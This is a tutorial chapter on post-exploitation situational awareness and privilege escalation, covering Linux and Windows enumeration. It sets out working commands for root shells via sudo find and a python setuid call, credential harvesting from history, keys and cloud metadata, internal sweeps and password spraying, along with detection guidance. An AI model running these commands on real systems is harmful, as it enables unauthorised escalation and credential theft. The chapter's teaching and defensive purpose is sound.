Post-Exploitation Methodology & Situational Awareness
Post-Exploitation Methodology & Situational Awareness
This is Chapter 1 of the Privilege Escalation notebook. Everything before this got you in — a web shell, a caught reverse shell, a Meterpreter session on a low-privilege account. This notebook is about what you do next: turning that toe-hold into control of the host, and then the network. And the single most important lesson of the whole notebook comes first: privilege escalation is an enumeration problem, not an exploit problem. Beginners fire exploits and hope. Professionals enumerate the system so thoroughly that the path up becomes obvious, then take it deliberately.
This chapter deliberately contains almost no exploits. It teaches the method — the loop of building situational awareness that every later chapter (Linux privesc, Windows privesc, credential harvesting, lateral movement, Active Directory) plugs into. Get this loop into muscle memory and the rest of the notebook becomes "which enumeration finding maps to which technique." Skip it and you will spend every engagement lost, running random sudo exploits against a box whose actual weakness was a readable backup file you never looked at.
Everything here assumes an explicit, written, scoped engagement or lab hardware you own. Enumerating and escalating on a system you do not have authorisation to test is a crime regardless of how "read-only" the commands look.
Part 1: The Post-Exploitation Mindset
When your shell lands, resist the urge to do anything. First know where you are. Adopt a loop borrowed from military decision-making — Observe, Orient, Decide, Act (OODA) — adapted for a host:
flowchart LR
O[Observe:\nenumerate everything] --> R[Orient:\nwhat does it mean here?]
R --> D[Decide:\npick the highest-value path]
D --> A[Act:\nexecute one change]
A --> O
Each pass round the loop, you learn more and your model of the host sharpens. The discipline is: enumerate broadly before you act narrowly. A single well-chosen action (reading one file, invoking one misconfigured binary) usually beats ten blind exploit attempts, but you can only choose it well if you have already looked.
Five questions organise everything you enumerate:
- Who am I? — current user, groups, privileges, tokens.
- What can I do? — sudo rights, SUID binaries, capabilities, writable paths, group memberships.
- Where am I? — hostname, OS/kernel version, virtualisation/container, patch level.
- What's around me? — other users, processes, services, scheduled jobs, listening ports, other hosts.
- What secrets are here? — credentials in files, history, config, memory, backups, environment variables.
The rest of this chapter walks each question with exact commands for Linux and Windows, and teaches you to read the output — because the answer to "what's my path up" is almost always hiding in plain sight in one of these five buckets.
Why the order matters. The questions are sequenced deliberately: knowing who you are (Q1–2) tells you which of the later findings even apply; knowing where you are (Q3) tells you whether you're escalating a host or escaping a container; what's around you (Q4) reveals timed jobs and services that are the most common escalation vectors; and secrets (Q5) is last only because it's the most tedious to search — never least important, since a found credential usually trumps every technical exploit. Run them out of order and you waste time exploiting a box when a password in .bash_history would have walked you in.
Security relevance for both sides: everything in this chapter is what an attacker runs in the first five minutes on a box — which makes it exactly what a defender should be able to detect and what a blue teamer runs during incident response to understand a compromise.
Part 2: First Contact — Orient Immediately
The moment you have a shell, run a tiny orientation burst. On Linux:
id # who am I, what groups
whoami
hostname
uname -a # kernel + arch + OS
cat /etc/os-release # distro + version
ip a # network interfaces and addresses
pwd # where in the filesystem am IReading the output of id is the first branch point:
uid=1000(dev) gid=1000(dev) groups=1000(dev),4(adm),27(sudo),999(docker)
That one line is gold: this user is in sudo (can likely escalate via sudo), docker (docker group = root-equivalent via container escape), and adm (can read logs). Each group is a lead. A user in docker is effectively already root — you have found your path in the first command.
On Windows (in cmd or PowerShell):
whoami
whoami /priv :: token privileges - the crown jewels
whoami /groups
hostname
systeminfo :: OS version, hotfixes, domain membership
ipconfig /all
echo %USERDOMAIN% \ %USERNAME%whoami /priv is the Windows equivalent of reading id's groups — it lists token privileges like SeImpersonatePrivilege (leads straight to the Potato attacks in a later chapter) or SeBackupPrivilege (read any file). If SeImpersonatePrivilege is Enabled, you often have a near-guaranteed path to SYSTEM.
flowchart TD
SHELL[Fresh low-priv shell] --> ID{id / whoami /priv}
ID -->|docker/sudo group| FAST1[Likely fast win - Part 2]
ID -->|SeImpersonate| FAST2[Potato -> SYSTEM]
ID -->|nothing obvious| DEEP[Full enumeration - Parts 4-9]
Pitfall: don't stop at the fast win check. Note it, then keep enumerating — you want the full picture before you act, and sometimes the "obvious" path is a decoy or a monitored honeytoken.
Part 3: Stabilise, Then Stay Quiet
Two housekeeping steps before deep enumeration.
Stabilise the shell (previous notebook): upgrade to a PTY so sudo, su, and interactive tools work. You cannot run half the enumeration effectively from a dumb shell.
Decide your noise budget. Enumeration is not free — every command is a process-creation event, every uploaded script is a file-write and a new-binary event. On a monitored network, dumping linpeas.sh and running it is loud. Match your method to the engagement:
| Engagement type | Approach |
|---|---|
| Loud/OSCP-style, detection out of scope | Upload LinPEAS/WinPEAS, run everything, move fast |
| Purple team / detection in scope | Manual, targeted commands; avoid noisy scanners |
| Red team / evasion required | Hand-picked commands, live-off-the-land, no uploads, slow and low |
Even when loud is allowed, understanding the manual commands is non-negotiable: automated tools miss things, misreport, or get blocked, and you must be able to verify and extend their findings by hand. This chapter teaches the manual method; automated tools (LinPEAS/WinPEAS) get their own from-scratch treatment in the next two chapters.
Part 4: Who Am I / What Can I Do (Linux)
Enumerate your own power on the box.
sudo rights — the first thing to check:
sudo -lMatching Defaults entries for dev on host:
env_reset, mail_badpass
User dev may run the following commands on host:
(root) NOPASSWD: /usr/bin/find
That output says dev can run find as root with no password. find has a -exec primitive — sudo find . -exec /bin/sh \; -quit is instant root. Any entry under sudo -l is a lead; cross-reference every binary against GTFOBins (Part 10).
Groups — already seen in id; expand:
groups
getent group docker # who else is in a powerful groupSUID/SGID binaries — files that run as their owner (often root) regardless of who executes them:
find / -perm -4000 -type f 2>/dev/null # SUID
find / -perm -2000 -type f 2>/dev/null # SGIDAn unexpected SUID binary (e.g., /usr/bin/env, nmap, vim, a custom program) is a classic escalation. Compare the list against a stock system; the odd one out is your target. Details in the next-but-one chapter.
Capabilities — finer-grained than SUID:
getcap -r / 2>/dev/null
# /usr/bin/python3.10 = cap_setuid+ep <-- python can setuid(0) -> rootcap_setuid+ep on python means python3 -c 'import os;os.setuid(0);os.system("/bin/sh")' gives root.
Writable sensitive paths:
find / -writable -type d 2>/dev/null | grep -vE '^/proc|^/sys' # writable dirs
ls -la /etc/passwd /etc/shadow /etc/sudoers # writable? jackpot
find / -writable -type f 2>/dev/null | grep -E 'cron|systemd|\.service|\.sh$'A world-writable file that root executes (a cron script, a systemd unit) is a direct escalation.
| Question | Command | Why it matters |
|---|---|---|
| Can I sudo? | sudo -l |
direct root if a binary is GTFOBin-able |
| Powerful group? | id, getent group |
docker/lxd/disk/adm = root-equivalent |
| SUID/SGID? | find / -perm -4000 |
run-as-owner binaries |
| Capabilities? | getcap -r / |
cap_setuid, cap_dac_read_search |
| Writable root-run file? | find / -writable ... |
overwrite -> code as root |
Part 5: Who Am I / What Can I Do (Windows)
The Windows equivalents.
Token privileges (already run in Part 2):
whoami /privKey privileges and where they lead:
| Privilege | Leads to |
|---|---|
SeImpersonatePrivilege |
Potato attacks -> SYSTEM |
SeAssignPrimaryTokenPrivilege |
token abuse -> SYSTEM |
SeBackupPrivilege |
read any file (SAM, SYSTEM hives) |
SeRestorePrivilege |
write any file -> privesc |
SeDebugPrivilege |
read process memory (LSASS) |
SeTakeOwnershipPrivilege |
own any object -> privesc |
Group membership & local admins:
whoami /groups
net user %USERNAME%
net localgroup administratorsService and file misconfigurations (deep-dived two chapters on):
:: services with weak permissions (unquoted paths, writable binaries)
wmic service get name,displayname,pathname,startmode | findstr /i "auto" | findstr /i /v "c:\windows"
:: AlwaysInstallElevated (MSI as SYSTEM)
reg query HKLM\Software\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKCU\Software\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevatedIf both AlwaysInstallElevated keys are 0x1, any MSI you craft installs as SYSTEM — an instant win.
Part 6: Where Am I — OS, Patch Level, Environment
Fingerprint the platform to find kernel/OS exploits and understand constraints.
Linux:
uname -a # kernel version -> kernel exploit search
cat /etc/os-release
dpkg -l 2>/dev/null | wc -l # installed packages (Debian)
rpm -qa 2>/dev/null | wc -l # (RHEL)
lscpu; free -h; df -h # resources, useful for building exploits locally
systemd-detect-virt # am I in a VM/container?
cat /proc/1/cgroup # container hints (docker/lxc/kubepods)uname -a giving an old kernel (e.g., pre-5.8) opens kernel-exploit avenues (Dirty Pipe, Dirty COW, etc.) covered later — but kernel exploits are a last resort (crash risk); enumerate misconfigs first.
Windows:
systeminfo
:: extract just OS + hotfixes for exploit matching
systeminfo | findstr /B /C:"OS Name" /C:"OS Version"
wmic qfe get HotFixID,InstalledOn :: installed patchesFeed systeminfo into Windows Exploit Suggester - Next Generation (WES-NG) offline to map missing patches to public exploits — a technique from the Windows chapter.
Am I in a container? This changes everything: an escape, not a host privesc, may be the goal. /proc/1/cgroup mentioning docker/kubepods, the presence of /.dockerenv, or a tiny process list all signal containment.
Part 7: What's Around Me — Users, Processes, Services, Jobs
Now widen the lens beyond yourself.
Other users:
cat /etc/passwd | grep -vE 'nologin|false' # accounts with real shells
ls -la /home # other users' home dirs (readable?)
who; w; last # who's logged in / recentlyRunning processes — especially root processes and their command lines (which may leak credentials):
ps auxww # full command lines - watch for passwords in args
ps auxww | grep -i rootA process like mysqld --user=root --password=SuperSecret in the process table is a credential handed to you. This is why real ops never pass secrets on the command line — anyone with a shell can read ps.
Services & scheduled jobs — things root runs on a timer are prime targets:
systemctl list-units --type=service --state=running
crontab -l # your cron
cat /etc/crontab; ls -la /etc/cron.* # system cron - root scripts here
ls -la /etc/systemd/system/ /etc/systemd/system/timers.target.wants/A cron job in /etc/crontab running a writable script as root is a textbook escalation (next chapter). Watch for wildcards (tar *), relative paths (PATH hijack), and world-writable targets.
Windows equivalents:
tasklist /v :: processes + owner
schtasks /query /fo LIST /v :: scheduled tasks (look for SYSTEM tasks running writable scripts)
net user; net localgroup
query user :: logged-on usersmindmap
root((Situational Awareness))
Me
user/groups
privileges/tokens
sudo/SUID/caps
Host
OS/kernel
patches
container?
Around
users
processes
services
scheduled jobs
Network
interfaces
listeners
other hosts
Secrets
files/config
history
creds/keys
Part 8: Network Position — What Can This Box Reach?
A foothold's value is often what it can see. Map the box's network position.
Linux:
ip a; ip route # interfaces and routes - dual-homed?
ss -tulpn # listening sockets + owning process
ss -tnp # established connections - to where?
cat /etc/hosts # named internal hosts
arp -a 2>/dev/null; ip neigh # neighbours = other live hosts
for i in $(seq 1 254); do (ping -c1 -W1 10.0.0.$i >/dev/null && echo 10.0.0.$i up &); done # quick sweepA second interface on 10.0.0.0/24 while you came in on 10.10.10.0/24 means this box is a pivot into an internal network — exactly the socat/relay scenario from the previous notebook. Internal-only listeners (a DB on 127.0.0.1:3306, an admin panel on :8080) are services you can now reach that the outside world cannot.
Windows:
ipconfig /all
route print
netstat -ano :: connections + PIDs
arp -a
nslookup <dc-name> :: is this domain-joined? where's the DC?Discovering domain membership here pivots the whole engagement toward Active Directory (the next notebook). netstat -ano showing a connection to a domain controller on 445/389/88 tells you this is an AD environment.
Reading listeners like a map
ss -tulpn / netstat -ano output is a map of local attack surface. Interpret it:
State Local Address:Port Process
LISTEN 127.0.0.1:3306 mysqld <- DB, localhost-only: reachable now, not from outside
LISTEN 127.0.0.1:6379 redis-server <- Redis localhost: often unauth (Part 9 of Ch8)
LISTEN 0.0.0.0:8080 java <- internal web/admin app
LISTEN 127.0.0.1:8000 python <- dev service, maybe debug/RCE
Each 127.0.0.1-bound service is something the perimeter firewall never exposed but you can now hit from the foothold — frequently a softer target than anything internet-facing, because admins assume "localhost-only" means "safe." Port-forward it out (previous notebook) or attack it in place. This is why a shell on a box is worth far more than a port scan of it: you see the inside.
sequenceDiagram
participant Att as Attacker
participant Fh as Foothold host
participant Db as Internal DB (127.0.0.1:3306)
Att->>Fh: enumerate ss -tulpn
Fh-->>Att: 127.0.0.1:3306 mysqld
Att->>Fh: socat forward 8080 -> 127.0.0.1:3306
Att->>Db: mysql -h foothold -P 8080 (reuse .env creds)
Db-->>Att: internal data / more creds
The full picture as a kill-chain
stateDiagram-v2
[*] --> Foothold
Foothold --> Situational_Awareness: enumerate 5 questions
Situational_Awareness --> Local_PrivEsc: misconfig / creds / SUID
Situational_Awareness --> Pivot: dual-homed / internal listeners
Local_PrivEsc --> Credential_Harvest: root/SYSTEM
Credential_Harvest --> Lateral_Movement: reuse creds/hashes
Lateral_Movement --> Domain_Compromise
Domain_Compromise --> [*]
Situational awareness sits at the centre of that chain — every branch (escalate, pivot, harvest, move) is chosen based on what enumeration revealed.
Part 9: Hunting Secrets
Credentials in the environment are the fastest, quietest escalation and the bridge to lateral movement. Look everywhere.
Linux:
# shell history - people paste passwords constantly
cat ~/.bash_history ~/.zsh_history 2>/dev/null
cat /home/*/.bash_history 2>/dev/null
# config files with creds
grep -riE 'password|passwd|secret|api_key|token' /etc /var/www /opt 2>/dev/null | grep -vi 'password:' | head
# common credential stores
cat ~/.ssh/id_* 2>/dev/null # private keys
cat /var/www/html/wp-config.php 2>/dev/null # DB creds in app config
cat ~/.aws/credentials ~/.git-credentials 2>/dev/null
find / -name '*.kdbx' -o -name 'id_rsa' 2>/dev/null # keepass, ssh keys
env # secrets in environment variablesWindows:
:: saved creds
cmdkey /list
:: files likely to hold secrets
findstr /si password *.txt *.ini *.config *.xml 2>nul
:: unattended install files (plaintext admin password)
type C:\Windows\Panther\Unattend.xml 2>nul
type C:\Windows\Panther\Unattended.xml 2>nul
:: PowerShell history
type %APPDATA%\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
:: registry autologon creds
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultPassword 2>nulCloud and database credentials
Modern boxes leak cloud keys and DB creds constantly:
# cloud
cat ~/.aws/credentials ~/.config/gcloud/*.json 2>/dev/null
env | grep -iE 'AWS_|AZURE_|GCP_|_TOKEN|_KEY'
# instance metadata (if this is a cloud VM) - IAM creds with no auth
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/ 2>/dev/null
# databases
cat /var/www/**/wp-config.php /var/www/**/.env 2>/dev/null
mysql -u root --password='' -e 'show databases;' 2>/dev/null # blank-root checkThe instance metadata endpoint (169.254.169.254) is a standout: on a cloud VM it can hand out temporary IAM credentials to anyone who can make an HTTP request from the box — turning a local foothold into cloud-account access. (SSRF into this endpoint is a classic bug-bounty finding; from a shell it's just a curl.) Treat any cloud key you find as high-value and log exactly where it can be used.
IR use case: these same searches are what a responder runs to understand what an attacker could have grabbed — and defenders should treat any of these locations holding plaintext secrets as a finding in itself.
| Secret source | Linux | Windows |
|---|---|---|
| Shell history | ~/.bash_history |
ConsoleHost_history.txt |
| App config | wp-config.php, .env |
web.config, *.config |
| Saved creds | ~/.ssh, ~/.aws |
cmdkey /list, Credential Manager |
| Install artifacts | kickstart files | Unattend.xml, sysprep |
| Env vars | env |
set |
| Backups | /var/backups, *.bak |
shadow copies, *.bak |
Part 10: Turning Findings Into a Plan — GTFOBins & LOLBAS
Enumeration produces a pile of facts; you need to convert them into a ranked plan. Two reference projects do the heavy lifting:
- GTFOBins (Linux) — a curated list of standard binaries and how to abuse them for shell, file read/write, SUID, sudo, and capabilities. If
sudo -lshowsfind, GTFOBins tells yousudo find . -exec /bin/sh \; -quit. If an SUID binary isvim, GTFOBins gives the:!/bin/shescalation. - LOLBAS (Windows) — "Living Off the Land Binaries And Scripts": signed Microsoft binaries abusable for execution, download, and bypass (
certutil,regsvr32,mshta, etc.).
The workflow:
flowchart LR
ENUM[Enumerate: sudo -l, SUID, caps, services] --> LIST[List of interesting binaries/configs]
LIST --> XREF{Cross-reference}
XREF -->|Linux binary| GTFO[GTFOBins entry?]
XREF -->|Windows binary| LOL[LOLBAS entry?]
GTFO --> PLAN[Ranked escalation plan]
LOL --> PLAN
Rank by reliability and noise, then act on the safest highest-value path first:
- Credentials found (reuse them — quiet, reliable).
sudo -l/ GTFOBins misconfig (deterministic).- SUID / capability abuse (deterministic).
- Writable service/cron (reliable, may need to wait for a timer).
- Kernel exploit (last resort — crash risk).
Part 10.5: Mapping Findings to Escalation Categories
Every enumeration finding falls into one of a handful of escalation categories. This table is the index to the rest of the notebook — when your enumeration surfaces something on the left, the technique on the right is where it leads (and which chapter covers it).
| Finding (Linux) | Escalation category | Covered in |
|---|---|---|
sudo -l allows a binary |
sudo/GTFOBins abuse | Ch2–3 |
| SUID binary (odd one out) | SUID abuse | Ch3 |
getcap shows cap_setuid/cap_dac_read_search |
capability abuse | Ch3 |
| Writable root cron/systemd script | scheduled-job hijack | Ch3 |
Writable $PATH dir + relative call |
PATH hijack | Ch3 |
| Old kernel | kernel exploit (last resort) | Ch3 |
| Creds in files/history | credential reuse | Ch1, Ch6 |
docker/lxd group |
container escape | Ch3 |
| Finding (Windows) | Escalation category | Covered in |
|---|---|---|
SeImpersonatePrivilege |
Potato / token abuse | Ch5 |
| Weak service permissions | service abuse | Ch5 |
| Unquoted service path | unquoted path hijack | Ch5 |
AlwaysInstallElevated=1 |
MSI as SYSTEM | Ch5 |
| Writable SYSTEM scheduled task | task hijack | Ch5 |
| UAC bypassable context | UAC bypass | Ch5 |
| LSASS readable / creds saved | credential harvesting | Ch6 |
Stored creds (cmdkey, Unattend) |
credential reuse / lateral | Ch6–7 |
This is the payoff of methodology: enumeration is not busywork, it is classification. Each fact you gather routes to a known technique. Master the loop and the notebook stops being a list of unrelated tricks and becomes a decision tree you can execute under time pressure.
Part 11: Automated Enumeration — Balance, Not Crutch
Automated scripts run hundreds of these checks in seconds. They belong in your kit, but with judgement.
- LinPEAS / WinPEAS — the dominant privilege-escalation scanners; colour-coded output flags likely wins. Taught from scratch in the next two chapters.
- linux-smart-enumeration (lse.sh), LinEnum, pspy (watch processes/cron without root) on Linux.
- Seatbelt, PrivescCheck, PowerUp on Windows.
Rules for using them well:
- Run manual orientation first (
id,sudo -l,whoami /priv) — the fast wins are often found before any scanner. - Understand every finding — a scanner says "SUID binary found"; you must know why it's exploitable.
- Mind the noise — a scanner is a flurry of process/file events; don't run one where detection matters.
- Verify — scanners produce false positives; confirm by hand before you rely on a path.
pspy deserves a special mention: it lets an unprivileged user watch processes and cron jobs execute in real time without root, revealing root cron jobs and their arguments (and any creds passed on the command line) — often the single most productive Linux enumeration tool.
./pspy64 -pf -i 1000 # watch process + file events every secondPart 12: Fully Worked Lab — From Shell to Escalation Plan
Scope: an authorised lab box. You have a stabilized reverse shell as dev on app01 (10.10.10.20). Goal: build a complete situational-awareness picture and produce a ranked escalation plan (execution of the escalation itself is the next chapters).
Step 1 — Orient
dev@app01:~$ id
uid=1000(dev) gid=1000(dev) groups=1000(dev),4(adm)
dev@app01:~$ uname -a
Linux app01 5.4.0-90-generic #101-Ubuntu SMP x86_64 GNU/Linux
dev@app01:~$ hostname; ip a | grep inet
app01
inet 10.10.10.20/24 ...
inet 172.16.5.10/24 ... <-- second network!Two takeaways already: dev is in adm (can read logs), and the box is dual-homed (172.16.5.0/24) — a pivot.
Step 2 — What can I do?
dev@app01:~$ sudo -l
[sudo] password for dev: # no password known - skip
dev@app01:~$ find / -perm -4000 -type f 2>/dev/null
/usr/bin/sudo
/usr/bin/passwd
/usr/bin/pkexec <-- pkexec! (CVE-2021-4034 candidate on this kernel era)
/usr/bin/mount
dev@app01:~$ getcap -r / 2>/dev/null
/usr/bin/python3.8 = cap_setuid+ep <-- python can setuid(0)Two strong deterministic leads: python3.8 has cap_setuid (instant root), and pkexec is present on a vintage vulnerable to CVE-2021-4034 (PwnKit).
Step 3 — What's around me / secrets?
dev@app01:~$ ps auxww | grep -i root | grep -v ']'
root 812 /usr/local/bin/backup.sh
dev@app01:~$ ls -la /usr/local/bin/backup.sh
-rwxrwxr-x 1 root staff 214 ... /usr/local/bin/backup.sh # group-writable? check my groups
dev@app01:~$ cat /etc/crontab | grep backup
*/5 * * * * root /usr/local/bin/backup.sh
dev@app01:~$ grep -ri password /var/www 2>/dev/null | head -1
/var/www/app/.env:DB_PASSWORD=Str0ngDbPass!More leads: a root cron running backup.sh every 5 minutes, and a DB password in .env (reuse candidate for the DB and maybe SSH).
Step 4 — The ranked plan
Consolidating everything into a prioritised escalation plan:
| Rank | Path | Evidence | Reliability | Noise |
|---|---|---|---|---|
| 1 | python3.8 cap_setuid |
getcap output |
deterministic | low |
| 2 | Reuse .env DB pass for other accounts |
.env file |
conditional | low |
| 3 | PwnKit (CVE-2021-4034) via pkexec |
SUID pkexec + kernel era | high | medium |
| 4 | Hijack backup.sh (if writable by my group) |
root cron | conditional | low-medium |
| 5 | Kernel exploit for 5.4.0-90 | uname |
risky | high |
The plan is clear: try the python3 capability first — it is a one-liner, deterministic, and quiet:
dev@app01:~$ python3.8 -c 'import os; os.setuid(0); os.system("/bin/bash")'
root@app01:~# id
uid=0(root) ...Notice what made this easy: not a clever exploit, but thorough enumeration that surfaced a getcap finding a beginner firing kernel exploits would never have looked for. That is the entire thesis of this notebook.
Part 12.5: The Same Loop on Windows — Worked Example
The five-question loop is OS-agnostic. Here it is on a Windows foothold to cement the parallel. You have a shell as svc_web on WEB02.
Orient
C:\> whoami
web02\svc_web
C:\> whoami /priv
Privilege Name Description State
============================= ============================== ========
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeImpersonatePrivilege Impersonate a client Enabled <-- !
SeCreateGlobalPrivilege Create global objects Enabled
C:\> systeminfo | findstr /B /C:"OS Name" /C:"OS Version"
OS Name: Microsoft Windows Server 2019 Standard
OS Version: 10.0.17763 N/A Build 17763SeImpersonatePrivilege is Enabled — a service account with this privilege is a near-guaranteed SYSTEM via a Potato attack (next chapters). Note it, keep enumerating.
What can I do / around me
C:\> net localgroup administrators
Members: Administrator, domainadmins
C:\> whoami /groups | findstr /i "service"
NT SERVICE\... (service SID)
C:\> schtasks /query /fo LIST /v | findstr /i "Task To Run SYSTEM"
Task To Run: C:\scripts\cleanup.bat
Run As User: SYSTEM
C:\> icacls C:\scripts\cleanup.bat
C:\scripts\cleanup.bat BUILTIN\Users:(F) <-- Users have Full control!A SYSTEM scheduled task runs a script that the Users group can fully modify — a deterministic escalation (append a payload to cleanup.bat, wait for the task).
Secrets
C:\> cmdkey /list
Target: Domain:interactive=CORP\backupadmin
C:\> type C:\Windows\Panther\Unattend.xml | findstr /i password
<Password>UABhAHMAcwB3ADAAcgBkAA==</Password> (base64 -> plaintext admin pw)Plan
| Rank | Path | Evidence | Reliability |
|---|---|---|---|
| 1 | Modify SYSTEM task cleanup.bat |
icacls Users:(F) |
deterministic |
| 2 | SeImpersonate -> Potato -> SYSTEM |
whoami /priv |
high |
| 3 | Reuse Unattend.xml admin pass | base64 decode | conditional |
| 4 | Reuse cmdkey stored backupadmin cred |
cmdkey /list |
conditional (lateral) |
Same discipline, same output: a ranked plan, not a lucky guess.
Part 12.7: Note-Taking and Organisation
Enumeration produces more facts than you can hold in your head. Disorganised operators miss the one finding that mattered. A lightweight system:
- One file per host (CherryTree, Obsidian, Markdown, or plain text) with sections mirroring the five questions.
- Record the command and its output, not just a conclusion — you will need the evidence for the report and to re-check assumptions.
- Flag leads explicitly: mark each interesting finding
[LEAD]and give it a rank. - Track credentials in one place — every username, password, hash, and key you find, with where it came from and where you have (and haven't) tried it. Credential reuse (next section) depends on this list.
- Timestamp actions so your notes double as the timeline the report and any purple-team debrief need.
A finding you didn't write down is a finding you don't have. Good notes are also what separates a repeatable, professional methodology from ad-hoc luck.
Part 12.8: Credential Reuse and Spraying
The single most productive move after finding one credential is trying it everywhere. Password reuse across accounts and hosts is endemic.
# Linux: try a found password for other local users / su
su - otheruser # enter the found password
# try it against SSH on internal hosts (in scope!)
sshpass -p 'Str0ngDbPass!' ssh admin@172.16.5.11:: Windows / AD: spray a found password across users (throttle to avoid lockout!)
crackmapexec smb 172.16.5.0/24 -u users.txt -p 'Autumn2026!' --continue-on-successLockout caution: spraying can lock accounts and cause a denial of service — coordinate with the client, respect lockout thresholds (one attempt per account per policy window), and never spray blindly on a production domain. Credential reuse is quiet and reliable, but careless spraying is one of the fastest ways to cause real harm and blow an engagement. Keep a disciplined list (Part 12.7) of what you've tried where.
Part 13: Detection & Defense Angle
Post-exploitation enumeration is loud if anyone is watching, because it is a burst of reconnaissance commands no normal user runs.
Host telemetry
| Attacker behaviour | Detection |
|---|---|
Burst of id, sudo -l, uname, whoami /priv in seconds |
command-line auditing (auditd/Sysmon) — recon command clustering |
find / -perm -4000 filesystem sweep |
high-volume stat/open from one process; auditd path rules |
Upload + exec of linpeas.sh/winpeas.exe |
new executable in /tmp or %TEMP%, AV signature, script-block logging |
pspy watching /proc |
unusual sustained /proc reads by a non-root user |
Reading Unattend.xml, .bash_history, SSH keys |
file-access auditing on known credential-bearing paths |
| Internal ping sweep from a foothold | many short-lived ICMP/TCP connections from one host |
Defensive controls
- auditd (Linux) / Sysmon + PowerShell script-block logging (Windows) — capture process creation with full command lines; alert on recon clusters.
- Least privilege — no plaintext creds in
.env/Unattend.xml; service accounts in no powerful groups; remove needless SUID and capabilities. - File-integrity & access monitoring on
/etc/crontab, systemd units,authorized_keys, and credential files. - EDR behavioural detection for LinPEAS/WinPEAS patterns and GTFOBins-style abuse (e.g.,
find -exec /bin/sh). - Network segmentation so a dual-homed foothold cannot freely sweep internal subnets.
Blue team usage: the same five-question loop is an IR triage script — run it on a suspected-compromised host to understand what the attacker had access to and what they could have taken.
Part 13.5: Living Off the Land vs Uploading Tools
Every enumeration step can be done two ways: with tools already on the box ("living off the land", LOTL) or by uploading your own (LinPEAS, pspy, Seatbelt). The trade-off:
| Living off the land | Uploaded tooling | |
|---|---|---|
| Stealth | high — expected binaries | low — new file + AV/EDR trigger |
| Coverage | you must know the commands | comprehensive, automated |
| Speed | slower, manual | seconds |
| Reliability | no dependency issues | may be blocked/flagged |
| When | detection in scope, red team | OSCP/loud tests, time-boxed |
LOTL essentials you should be able to run without uploading anything:
# Linux LOTL enumeration - all native
id; sudo -l; getcap -r / 2>/dev/null; find / -perm -4000 2>/dev/null
grep -rl password /etc 2>/dev/null; ps auxww; ss -tulpn; cat /etc/crontab:: Windows LOTL - native commands + built-in PowerShell
whoami /all & systeminfo & schtasks /query /fo LIST /v
powershell -c "Get-ChildItem -Recurse -Include *.config,*.xml | Select-String password"Uploading a tool is a decision, not a default. If you do upload, prefer running from memory (PowerShell IEX, in-memory .NET) over dropping a file, and clean up afterward. The habit of asking "can I answer this with what's already here?" is the difference between a red teamer and a script-runner.
Part 13.7: Field Troubleshooting FAQ
| Situation | What it means | Next move |
|---|---|---|
sudo -l asks for a password you don't have |
can't check sudo rights | hunt creds; try SUID/caps/cron instead |
find returns nothing for SUID |
stripped or you lack read on dirs | re-run after any priv gain; check caps too |
| LinPEAS blocked/killed | AV/EDR or noexec /tmp |
go manual; run from a writable+exec dir or /dev/shm |
| Everything "looks patched" | misconfig is the path, not a CVE | re-check creds, cron, services, groups |
getcap not installed |
minimal system | find / -type f -exec getcap {} \; alt, or read caps another way |
| No python for pspy alt | can't watch cron easily | poll ls -la /proc/*/cmdline in a loop, or cat /etc/crontab |
Can read /etc/shadow |
direct win | dump + crack offline (hashcat) |
If you remember one reflex: when stuck, re-read your own notes — the path is usually a finding you logged and under-rated, not something you haven't found yet.
Part 14: Common Pitfalls
- Firing exploits before enumerating. The path is almost always a misconfig you haven't looked for yet. Enumerate first.
- Stopping at the first finding. Note it and keep going; you want the full picture and a ranked plan, not the first thing that might work.
- Running from a dumb shell. Stabilise first or half your commands (
sudo,su) fail. - Ignoring your own groups.
docker,lxd,disk,adm,sudoare all leads; readidcarefully. - Missing the second NIC. A dual-homed box is a pivot;
ip a/ipconfigfirst. - Overlooking credentials. History,
.env,Unattend.xml, and process command lines beat every exploit for speed and stealth. - Blindly trusting scanners. Verify LinPEAS/WinPEAS findings by hand; they false-positive and miss things.
- Being needlessly loud. On a detection-in-scope test, a filesystem-wide
findand a LinPEAS run will get you caught; go targeted. - Not taking notes. Record every finding with its evidence; escalation plans and reports depend on it.
- Forgetting the cloud metadata endpoint. On a cloud VM,
169.254.169.254may hand out IAM creds — a huge miss if you skip it. - Spraying without lockout awareness. Credential reuse is great; blind spraying locks accounts and causes real damage. Throttle and coordinate.
- Treating containers like hosts. In a container, the goal may be escape, not host privesc — check
/.dockerenvand/proc/1/cgroupearly.
Part 15: Final Revision / Summary
- Privilege escalation is an enumeration problem. Look thoroughly; the path becomes obvious.
- Run the OODA loop: observe (enumerate) → orient (interpret in context) → decide (rank) → act (one change) → repeat.
- Answer five questions: who am I, what can I do, where am I, what's around me, what secrets are here.
- First commands: Linux
id / sudo -l / uname -a / getcap / find -perm -4000; Windowswhoami /priv / systeminfo / whoami /groups. - Read
idgroups andwhoami /privcarefully —docker/sudo/SeImpersonateare often instant wins. - Hunt secrets everywhere: history, config,
.env,Unattend.xml, SSH/AWS keys, process command lines, env vars. - Map network position — a dual-homed box is a pivot; internal-only listeners are new attack surface.
- Convert findings to a plan with GTFOBins (Linux) and LOLBAS (Windows); rank by reliability and noise, prefer creds > misconfig > SUID/caps > cron > kernel.
- Automated tools (LinPEAS/WinPEAS/pspy) accelerate but never replace understanding; run manual orientation first and verify everything.
- Defenders catch all of this via command-line auditing, file-access monitoring, least privilege, and segmentation.
- On cloud VMs, always check the instance metadata endpoint; in containers, check whether the goal is escape rather than host privesc.
- Notes are part of the method — one file per host, evidence for every finding, one central credential list — because escalation, lateral movement, and the final report all draw from them.
Part 16: Cheat Sheet / Quick Reference
# LINUX ORIENTATION
id; whoami; hostname; uname -a; cat /etc/os-release; ip a; pwd
sudo -l
find / -perm -4000 -type f 2>/dev/null # SUID
find / -perm -2000 -type f 2>/dev/null # SGID
getcap -r / 2>/dev/null # capabilities
find / -writable -type f 2>/dev/null | grep -E 'cron|\.service|\.sh$'
# LINUX AROUND / SECRETS / NET
ps auxww; cat /etc/crontab; ls -la /etc/cron.*
cat ~/.bash_history /home/*/.bash_history 2>/dev/null
grep -riE 'password|secret|api_key' /etc /var/www /opt 2>/dev/null
ip a; ip route; ss -tulpn; arp -a; cat /etc/hosts
./pspy64 -pf -i 1000
# WINDOWS ORIENTATION
